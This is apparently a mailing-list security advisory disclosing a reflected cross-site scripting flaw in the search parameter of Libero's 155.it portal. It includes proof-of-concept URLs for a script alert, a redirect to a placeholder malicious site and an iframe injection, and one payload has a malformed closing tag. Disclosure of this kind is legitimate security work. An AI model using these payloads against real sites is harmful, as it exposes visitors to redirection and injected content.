The Italian ISP Libero.it not check the HTTP POST Parameter "p_Query" on
search query and displays the content of this variable without modification
within the html form area.

Security problems on Libero's 155.it allows attackers to conduct XSS attacks
for the following URL:

http://155.libero.it/pls/portal30/w155.cerca_nel_sito?p_Query=

it is vulnerable for XSS via a malformed search query.

PoC:

- XSS in search function

http://155.libero.it/pls/portal30/w155.cerca_nel_sito?p_Query=
<script>alert(XSS)<script>


- Redirect

http://155.libero.it/pls/portal30/w155.cerca_nel_sito?p_Query= <script>
location.href="http://www.maliciouswebsite.com";</script>

- Html injection (iframe)

 <http://155.libero.it/pls/portal30/w155.cerca_nel_sito?p_Query=>
http://155.libero.it/pls/portal30/w155.cerca_nel_sito?p_Query= <iframe
src="http://www.maliciouswebsite.com
"></iframe>

Previous vulnerabilities:

http://lists.grok.org.uk/pipermail/full-disclosure/2007-March/061957.html
http://lists.grok.org.uk/pipermail/full-disclosure/2007-March/061957.html
http://lists.grok.org.uk/pipermail/full-disclosure/2007-March/061939.html
http://lists.grok.org.uk/pipermail/full-disclosure/2007-April/062055.html
http://lists.grok.org.uk/pipermail/full-disclosure/2007-July/064680.html
http://lists.grok.org.uk/pipermail/full-disclosure/2007-July/064681.html

-- 
Gianni Amato
http://www.gianniamato.it/